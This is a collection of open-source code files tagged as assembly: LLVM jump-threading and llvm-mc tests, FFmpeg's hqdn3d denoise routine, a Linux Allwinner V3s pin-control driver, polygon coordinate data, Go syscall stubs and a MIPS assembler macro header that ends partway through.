; CHECK-LABEL: @rauw_if_possible(
; CHECK: call void @f4(i32 96)
define void @rauw_if_possible(i32 %value) nounwind {
entry:
%cmp = icmp eq i32 %value, 32
br i1 %cmp, label %L0, label %L3
L0:
call i32 @f2()
call i32 @f2()
%add = add i32 %value, 64
switch i32 %add, label %L3 [
i32 32, label %L1
i32 96, label %L2
]
L1:
call void @f3()
ret void
L2:
call void @f4(i32 %add)
ret void
L3:
call void @f3()
ret void
}
; Make sure we can NOT do the RAUW for %add...
;
; CHECK-LABEL: @rauw_if_possible2(
; CHECK: call void @f4(i32 %add)
define void @rauw_if_possible2(i32 %value) nounwind {
entry:
%cmp = icmp eq i32 %value, 32
%add = add i32 %value, 64
br i1 %cmp, label %L0, label %L2
L0:
call i32 @f2()
call i32 @f2()
switch i32 %add, label %L3 [
i32 32, label %L1
i32 96, label %L2
]
L1:
call void @f3()
ret void
L2:
call void @f4(i32 %add)
ret void
L3:
call void @f3()
ret void
}
; Make sure we can fold this branch ... We will not be able to thread it as
; L0 is too big to duplicate.
; We do not attempt to rewrite the indirectbr target here, but we still take
; its target after L0 into account and that enables us to fold.
;
; L2 is the unreachable block here.
;
; CHECK-LABEL: @test_br_folding_not_threading_indirect_branch(
; CHECK: L1:
; CHECK: call i32 @f2()
; CHECK: call void @f3()
; CHECK-NEXT: ret void
; CHECK-NOT: br
; CHECK: L3:
define void @test_br_folding_not_threading_indirect_branch(i1 %condx, i1 %cond) nounwind {
entry:
br i1 %condx, label %X0, label %X1
X0:
br i1 %cond, label %L0, label %L3
X1:
br i1 %cond, label %XX1, label %L3
XX1:
indirectbr i8* blockaddress(@test_br_folding_not_threading_indirect_branch, %L0), [label %L0]
L0:
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
call i32 @f2()
br i1 %cond, label %L1, label %L2
L1:
call void @f3()
ret void
L2:
call void @f3()
ret void
L3:
call void @f3()
ret void
}
|
{
"language": "Assembly"
}
|
// RUN: llvm-mc -filetype=obj -triple x86_64-pc-linux-gnu %s -o - | elf-dump --dump-section-data | FileCheck %s
f:
.cfi_startproc
subq $8, %rsp
.cfi_def_cfa_offset 16
nop
.cfi_adjust_cfa_offset 4
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
// CHECK: # Section 4
// CHECK-NEXT: (('sh_name', 0x00000011) # '.eh_frame'
// CHECK-NEXT: ('sh_type', 0x00000001)
// CHECK-NEXT: ('sh_flags', 0x0000000000000002)
// CHECK-NEXT: ('sh_addr', 0x0000000000000000)
// CHECK-NEXT: ('sh_offset', 0x0000000000000050)
// CHECK-NEXT: ('sh_size', 0x0000000000000038)
// CHECK-NEXT: ('sh_link', 0x00000000)
// CHECK-NEXT: ('sh_info', 0x00000000)
// CHECK-NEXT: ('sh_addralign', 0x0000000000000008)
// CHECK-NEXT: ('sh_entsize', 0x0000000000000000)
// CHECK-NEXT: ('_section_data', '14000000 00000000 017a5200 01781001 1b0c0708 90010000 1c000000 1c000000 00000000 0a000000 00440e10 410e1444 0e080000 00000000')
// CHECK-NEXT: ),
// CHECK-NEXT: # Section 5
// CHECK-NEXT: (('sh_name', 0x0000000c) # '.rela.eh_frame'
// CHECK-NEXT: ('sh_type', 0x00000004)
// CHECK-NEXT: ('sh_flags', 0x0000000000000000)
// CHECK-NEXT: ('sh_addr', 0x0000000000000000)
// CHECK-NEXT: ('sh_offset', 0x00000000000003a0)
// CHECK-NEXT: ('sh_size', 0x0000000000000018)
// CHECK-NEXT: ('sh_link', 0x00000007)
// CHECK-NEXT: ('sh_info', 0x00000004)
// CHECK-NEXT: ('sh_addralign', 0x0000000000000008)
// CHECK-NEXT: ('sh_entsize', 0x0000000000000018)
// CHECK-NEXT: ('_relocations', [
// CHECK-NEXT: # Relocation 0
// CHECK-NEXT: (('r_offset', 0x0000000000000020)
// CHECK-NEXT: ('r_sym', 0x00000002)
// CHECK-NEXT: ('r_type', 0x00000002)
// CHECK-NEXT: ('r_addend', 0x0000000000000000)
// CHECK-NEXT: ),
// CHECK-NEXT: ])
// CHECK-NEXT: ),
|
{
"language": "Assembly"
}
|
;******************************************************************************
;* Copyright (c) 2012 Loren Merritt
;*
;* This file is part of FFmpeg.
;*
;* FFmpeg is free software; you can redistribute it and/or
;* modify it under the terms of the GNU Lesser General Public
;* License as published by the Free Software Foundation; either
;* version 2.1 of the License, or (at your option) any later version.
;*
;* FFmpeg is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
;* Lesser General Public License for more details.
;*
;* You should have received a copy of the GNU Lesser General Public
;* License along with FFmpeg; if not, write to the Free Software
;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;******************************************************************************
%include "libavutil/x86/x86util.asm"
SECTION .text
%macro LOWPASS 3 ; prevsample, cursample, lut
sub %1q, %2q
%if lut_bits != 8
sar %1q, 8-lut_bits
%endif
movsx %1q, word [%3q+%1q*2]
add %1q, %2q
%endmacro
%macro LOAD 3 ; dstreg, x, bitdepth
%if %3 == 8
movzx %1, byte [srcq+%2]
%else
movzx %1, word [srcq+(%2)*2]
%endif
%if %3 != 16
shl %1, 16-%3
add %1, (1<<(15-%3))-1
%endif
%endmacro
%macro HQDN3D_ROW 1 ; bitdepth
%if ARCH_X86_64
cglobal hqdn3d_row_%1_x86, 7,10,0, src, dst, lineant, frameant, width, spatial, temporal, pixelant, t0, t1
%else
cglobal hqdn3d_row_%1_x86, 7,7,0, src, dst, lineant, frameant, width, spatial, temporal
%endif
%assign bytedepth (%1+7)>>3
%assign lut_bits 4+4*(%1/16)
dec widthq
lea srcq, [srcq+widthq*bytedepth]
lea dstq, [dstq+widthq*bytedepth]
lea frameantq, [frameantq+widthq*2]
lea lineantq, [lineantq+widthq*2]
neg widthq
%define xq widthq
%if ARCH_X86_32
mov dstmp, dstq
mov srcmp, srcq
mov frameantmp, frameantq
mov lineantmp, lineantq
%define dstq r0
%define frameantq r0
%define lineantq r0
%define pixelantq r1
%define pixelantd r1d
DECLARE_REG_TMP 2,3
%endif
LOAD pixelantd, xq, %1
ALIGN 16
.loop:
movifnidn srcq, srcmp
LOAD t0d, xq+1, %1 ; skip on the last iteration to avoid overread
.loop2:
movifnidn lineantq, lineantmp
movzx t1d, word [lineantq+xq*2]
LOWPASS t1, pixelant, spatial
mov [lineantq+xq*2], t1w
LOWPASS pixelant, t0, spatial
movifnidn frameantq, frameantmp
movzx t0d, word [frameantq+xq*2]
LOWPASS t0, t1, temporal
mov [frameantq+xq*2], t0w
movifnidn dstq, dstmp
%if %1 != 16
shr t0d, 16-%1 ; could eliminate this by storing from t0h, but only with some contraints on register allocation
%endif
%if %1 == 8
mov [dstq+xq], t0b
%else
mov [dstq+xq*2], t0w
%endif
inc xq
jl .loop
je .loop2
REP_RET
%endmacro ; HQDN3D_ROW
HQDN3D_ROW 8
HQDN3D_ROW 9
HQDN3D_ROW 10
HQDN3D_ROW 16
|
{
"language": "Assembly"
}
|
/*
* Allwinner V3s SoCs pinctrl driver.
*
* Copyright (C) 2016 Icenowy Zheng <icenowy@aosc.xyz>
*
* Based on pinctrl-sun8i-h3.c, which is:
* Copyright (C) 2015 Jens Kuske <jenskuske@gmail.com>
*
* Based on pinctrl-sun8i-a23.c, which is:
* Copyright (C) 2014 Chen-Yu Tsai <wens@csie.org>
* Copyright (C) 2014 Maxime Ripard <maxime.ripard@free-electrons.com>
*
* This file is licensed under the terms of the GNU General Public
* License version 2. This program is licensed "as is" without any
* warranty of any kind, whether express or implied.
*/
#include <linux/module.h>
#include <linux/platform_device.h>
#include <linux/of.h>
#include <linux/of_device.h>
#include <linux/pinctrl/pinctrl.h>
#include "pinctrl-sunxi.h"
static const struct sunxi_desc_pin sun8i_v3s_pins[] = {
/* Hole */
SUNXI_PIN(SUNXI_PINCTRL_PIN(B, 0),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "uart2"), /* TX */
SUNXI_FUNCTION_IRQ_BANK(0x6, 0, 0)), /* PB_EINT0 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(B, 1),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "uart2"), /* RX */
SUNXI_FUNCTION_IRQ_BANK(0x6, 0, 1)), /* PB_EINT1 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(B, 2),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "uart2"), /* RTS */
SUNXI_FUNCTION_IRQ_BANK(0x6, 0, 2)), /* PB_EINT2 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(B, 3),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "uart2"), /* D1 */
SUNXI_FUNCTION_IRQ_BANK(0x6, 0, 3)), /* PB_EINT3 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(B, 4),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "pwm0"),
SUNXI_FUNCTION_IRQ_BANK(0x6, 0, 4)), /* PB_EINT4 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(B, 5),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "pwm1"),
SUNXI_FUNCTION_IRQ_BANK(0x6, 0, 5)), /* PB_EINT5 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(B, 6),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "i2c0"), /* SCK */
SUNXI_FUNCTION_IRQ_BANK(0x6, 0, 6)), /* PB_EINT6 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(B, 7),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "i2c0"), /* SDA */
SUNXI_FUNCTION_IRQ_BANK(0x6, 0, 7)), /* PB_EINT7 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(B, 8),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "i2c1"), /* SDA */
SUNXI_FUNCTION(0x3, "uart0"), /* TX */
SUNXI_FUNCTION_IRQ_BANK(0x6, 0, 8)), /* PB_EINT8 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(B, 9),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "i2c1"), /* SCK */
SUNXI_FUNCTION(0x3, "uart0"), /* RX */
SUNXI_FUNCTION_IRQ_BANK(0x6, 0, 9)), /* PB_EINT9 */
/* Hole */
SUNXI_PIN(SUNXI_PINCTRL_PIN(C, 0),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "mmc2"), /* CLK */
SUNXI_FUNCTION(0x3, "spi0")), /* MISO */
SUNXI_PIN(SUNXI_PINCTRL_PIN(C, 1),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "mmc2"), /* CMD */
SUNXI_FUNCTION(0x3, "spi0")), /* CLK */
SUNXI_PIN(SUNXI_PINCTRL_PIN(C, 2),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "mmc2"), /* RST */
SUNXI_FUNCTION(0x3, "spi0")), /* CS */
SUNXI_PIN(SUNXI_PINCTRL_PIN(C, 3),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "mmc2"), /* D0 */
SUNXI_FUNCTION(0x3, "spi0")), /* MOSI */
/* Hole */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 0),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* PCLK */
SUNXI_FUNCTION(0x3, "lcd")), /* CLK */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 1),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* MCLK */
SUNXI_FUNCTION(0x3, "lcd")), /* DE */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 2),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* HSYNC */
SUNXI_FUNCTION(0x3, "lcd")), /* HSYNC */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 3),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* VSYNC */
SUNXI_FUNCTION(0x3, "lcd")), /* VSYNC */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 4),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* D0 */
SUNXI_FUNCTION(0x3, "lcd")), /* D2 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 5),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* D1 */
SUNXI_FUNCTION(0x3, "lcd")), /* D3 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 6),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* D2 */
SUNXI_FUNCTION(0x3, "lcd")), /* D4 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 7),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* D3 */
SUNXI_FUNCTION(0x3, "lcd")), /* D5 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 8),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* D4 */
SUNXI_FUNCTION(0x3, "lcd")), /* D6 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 9),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* D5 */
SUNXI_FUNCTION(0x3, "lcd")), /* D7 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 10),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* D6 */
SUNXI_FUNCTION(0x3, "lcd")), /* D10 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 11),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* D7 */
SUNXI_FUNCTION(0x3, "lcd")), /* D11 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 12),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* D8 */
SUNXI_FUNCTION(0x3, "lcd")), /* D12 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 13),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* D9 */
SUNXI_FUNCTION(0x3, "lcd")), /* D13 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 14),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* D10 */
SUNXI_FUNCTION(0x3, "lcd")), /* D14 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 15),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* D11 */
SUNXI_FUNCTION(0x3, "lcd")), /* D15 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 16),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* D12 */
SUNXI_FUNCTION(0x3, "lcd")), /* D18 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 17),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* D13 */
SUNXI_FUNCTION(0x3, "lcd")), /* D19 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 18),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* D14 */
SUNXI_FUNCTION(0x3, "lcd")), /* D20 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 19),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* D15 */
SUNXI_FUNCTION(0x3, "lcd")), /* D21 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 20),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* FIELD */
SUNXI_FUNCTION(0x3, "csi_mipi")), /* MCLK */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 21),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* SCK */
SUNXI_FUNCTION(0x3, "i2c1"), /* SCK */
SUNXI_FUNCTION(0x4, "uart1")), /* TX */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 22),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "csi"), /* SDA */
SUNXI_FUNCTION(0x3, "i2c1"), /* SDA */
SUNXI_FUNCTION(0x4, "uart1")), /* RX */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 23),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x3, "lcd"), /* D22 */
SUNXI_FUNCTION(0x4, "uart1")), /* RTS */
SUNXI_PIN(SUNXI_PINCTRL_PIN(E, 24),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x3, "lcd"), /* D23 */
SUNXI_FUNCTION(0x4, "uart1")), /* CTS */
/* Hole */
SUNXI_PIN(SUNXI_PINCTRL_PIN(F, 0),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "mmc0"), /* D1 */
SUNXI_FUNCTION(0x3, "jtag")), /* MS */
SUNXI_PIN(SUNXI_PINCTRL_PIN(F, 1),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "mmc0"), /* D0 */
SUNXI_FUNCTION(0x3, "jtag")), /* DI */
SUNXI_PIN(SUNXI_PINCTRL_PIN(F, 2),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "mmc0"), /* CLK */
SUNXI_FUNCTION(0x3, "uart0")), /* TX */
SUNXI_PIN(SUNXI_PINCTRL_PIN(F, 3),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "mmc0"), /* CMD */
SUNXI_FUNCTION(0x3, "jtag")), /* DO */
SUNXI_PIN(SUNXI_PINCTRL_PIN(F, 4),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "mmc0"), /* D3 */
SUNXI_FUNCTION(0x3, "uart0")), /* RX */
SUNXI_PIN(SUNXI_PINCTRL_PIN(F, 5),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "mmc0"), /* D2 */
SUNXI_FUNCTION(0x3, "jtag")), /* CK */
SUNXI_PIN(SUNXI_PINCTRL_PIN(F, 6),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out")),
/* Hole */
SUNXI_PIN(SUNXI_PINCTRL_PIN(G, 0),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "mmc1"), /* CLK */
SUNXI_FUNCTION_IRQ_BANK(0x6, 1, 0)), /* PG_EINT0 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(G, 1),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "mmc1"), /* CMD */
SUNXI_FUNCTION_IRQ_BANK(0x6, 1, 1)), /* PG_EINT1 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(G, 2),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "mmc1"), /* D0 */
SUNXI_FUNCTION_IRQ_BANK(0x6, 1, 2)), /* PG_EINT2 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(G, 3),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "mmc1"), /* D1 */
SUNXI_FUNCTION_IRQ_BANK(0x6, 1, 3)), /* PG_EINT3 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(G, 4),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "mmc1"), /* D2 */
SUNXI_FUNCTION_IRQ_BANK(0x6, 1, 4)), /* PG_EINT4 */
SUNXI_PIN(SUNXI_PINCTRL_PIN(G, 5),
SUNXI_FUNCTION(0x0, "gpio_in"),
SUNXI_FUNCTION(0x1, "gpio_out"),
SUNXI_FUNCTION(0x2, "mmc1"), /* D3 */
SUNXI_FUNCTION_IRQ_BANK(0x6, 1, 5)), /* PG_EINT5 */
};
static const unsigned int sun8i_v3s_pinctrl_irq_bank_map[] = { 1, 2 };
static const struct sunxi_pinctrl_desc sun8i_v3s_pinctrl_data = {
.pins = sun8i_v3s_pins,
.npins = ARRAY_SIZE(sun8i_v3s_pins),
.irq_banks = 2,
.irq_bank_map = sun8i_v3s_pinctrl_irq_bank_map,
.irq_read_needs_mux = true
};
static int sun8i_v3s_pinctrl_probe(struct platform_device *pdev)
{
return sunxi_pinctrl_init(pdev,
&sun8i_v3s_pinctrl_data);
}
static const struct of_device_id sun8i_v3s_pinctrl_match[] = {
{ .compatible = "allwinner,sun8i-v3s-pinctrl", },
{}
};
static struct platform_driver sun8i_v3s_pinctrl_driver = {
.probe = sun8i_v3s_pinctrl_probe,
.driver = {
.name = "sun8i-v3s-pinctrl",
.of_match_table = sun8i_v3s_pinctrl_match,
},
};
builtin_platform_driver(sun8i_v3s_pinctrl_driver);
|
{
"language": "Assembly"
}
|
polygon
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1.315817E+01 4.353664E+01
1.315791E+01 4.353624E+01
1.315769E+01 4.353592E+01
1.315780E+01 4.353566E+01
1.315788E+01 4.353540E+01
1.315785E+01 4.353515E+01
1.315774E+01 4.353486E+01
1.315770E+01 4.353461E+01
1.315784E+01 4.353436E+01
1.315793E+01 4.353418E+01
1.315784E+01 4.353395E+01
1.315782E+01 4.353377E+01
END
END
|
{
"language": "Assembly"
}
|
// RUN: llvm-mc -triple i386-unknown-unknown %s | FileCheck %s
// Test for Bug 11740
// This testcase has two directive files,
// when compiled with -g, this testcase will not report error,
// but keep the debug info existing in the assembly file.
.file "hello"
.file 1 "world"
// CHECK: .file "hello"
// CHECK: .file 1 "world"
|
{
"language": "Assembly"
}
|
// Copyright 2018 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build !gccgo
#include "textflag.h"
//
// System call support for ARM64, FreeBSD
//
// Just jump to package syscall's implementation for all these functions.
// The runtime may know about them.
TEXT ·Syscall(SB),NOSPLIT,$0-56
JMP syscall·Syscall(SB)
TEXT ·Syscall6(SB),NOSPLIT,$0-80
JMP syscall·Syscall6(SB)
TEXT ·Syscall9(SB),NOSPLIT,$0-104
JMP syscall·Syscall9(SB)
TEXT ·RawSyscall(SB),NOSPLIT,$0-56
JMP syscall·RawSyscall(SB)
TEXT ·RawSyscall6(SB),NOSPLIT,$0-80
JMP syscall·RawSyscall6(SB)
|
{
"language": "Assembly"
}
|
/*
* This file is subject to the terms and conditions of the GNU General Public
* License. See the file "COPYING" in the main directory of this archive
* for more details.
*
* Copyright (C) 1995, 1996, 1997, 1999, 2001 by Ralf Baechle
* Copyright (C) 1999 by Silicon Graphics, Inc.
* Copyright (C) 2001 MIPS Technologies, Inc.
* Copyright (C) 2002 Maciej W. Rozycki
*
* Some useful macros for MIPS assembler code
*
* Some of the routines below contain useless nops that will be optimized
* away by gas in -O mode. These nops are however required to fill delay
* slots in noreorder mode.
*/
#ifndef __ASM_ASM_H
#define __ASM_ASM_H
#include <asm/sgidefs.h>
#ifndef CAT
#ifdef __STDC__
#define __CAT(str1, str2) str1##str2
#else
#define __CAT(str1, str2) str1/**/str2
#endif
#define CAT(str1, str2) __CAT(str1, str2)
#endif
/*
* PIC specific declarations
* Not used for the kernel but here seems to be the right place.
*/
#ifdef __PIC__
#define CPRESTORE(register) \
.cprestore register
#define CPADD(register) \
.cpadd register
#define CPLOAD(register) \
.cpload register
#else
#define CPRESTORE(register)
#define CPADD(register)
#define CPLOAD(register)
#endif
/*
* LEAF - declare leaf routine
*/
#define LEAF(symbol) \
.globl symbol; \
.align 2; \
.type symbol, @function; \
.ent symbol, 0; \
symbol: .frame sp, 0, ra
/*
* NESTED - declare nested routine entry point
*/
#define NESTED(symbol, framesize, rpc) \
.globl symbol; \
.align 2; \
.type symbol, @function; \
.ent symbol, 0; \
symbol: .frame sp, framesize, rpc
/*
* END - mark end of function
*/
#define END(function) \
.end function; \
.size function, .-function
/*
* EXPORT - export definition of symbol
*/
#define EXPORT(symbol) \
.globl symbol; \
symbol:
/*
* FEXPORT - export definition of a function symbol
*/
#define FEXPORT(symbol) \
.globl symbol; \
.type symbol, @function; \
symbol:
/*
* ABS - export absolute symbol
*/
#define ABS(symbol,value) \
.globl symbol; \
symbol = value
#define PANIC(msg) \
.set push; \
.set reorder; \
PTR_LA a0, 8f; \
jal panic; \
9: b 9b; \
.set pop; \
TEXT(msg)
/*
* Print formatted string
*/
#ifdef CONFIG_PRINTK
#define PRINT(string) \
.set push; \
.set reorder; \
PTR_LA a0, 8f; \
jal printk; \
.set pop; \
TEXT(string)
#else
#define PRINT(string)
#endif
#define TEXT(msg) \
.pushsection .data; \
8: .asciiz msg; \
.popsection;
/*
* Build text tables
*/
#define TTABLE(string) \
.pushsection .text; \
.word 1f; \
.popsection \
.pushsection .data; \
1: .asciiz string; \
.popsection
/*
* MIPS IV pref instruction.
* Use with .set noreorder only!
*
* MIPS IV implementations are free to treat this as a nop. The R5000
* is one of them. So we should have an option not to use this instruction.
*/
#ifdef CONFIG_CPU_HAS_PREFETCH
#define PREF(hint,addr) \
.set push; \
.set mips4; \
pref hint, addr; \
.set pop
#define PREFX(hint,addr) \
.set push; \
.set mips4; \
prefx hint, addr; \
.set pop
#else /* !CONFIG_CPU_HAS_PREFETCH */
#define PREF(hint, addr)
#define PREFX(hint, addr)
#endif /* !CONFIG_CPU_HAS_PREFETCH */
/*
* MIPS ISA IV/V movn/movz instructions and equivalents for older CPUs.
*/
#if (_MIPS_ISA == _MIPS_ISA_MIPS1)
#define MOVN(rd, rs, rt) \
.set push; \
.set reorder; \
beqz rt, 9f; \
move rd, rs; \
.set pop; \
9:
#define MOVZ(rd, rs, rt) \
.set push; \
.set reorder; \
bnez rt, 9f; \
move rd, rs; \
.set pop; \
9:
#endif /* _MIPS_ISA == _MIPS_ISA_MIPS1 */
#if (_MIPS_ISA == _MIPS_ISA_MIPS2) || (_MIPS_ISA == _MIPS_ISA_MIPS3)
#define MOVN(rd, rs, rt) \
.set push; \
.set noreorder; \
bnezl rt, 9f; \
move rd, rs; \
.set pop; \
9:
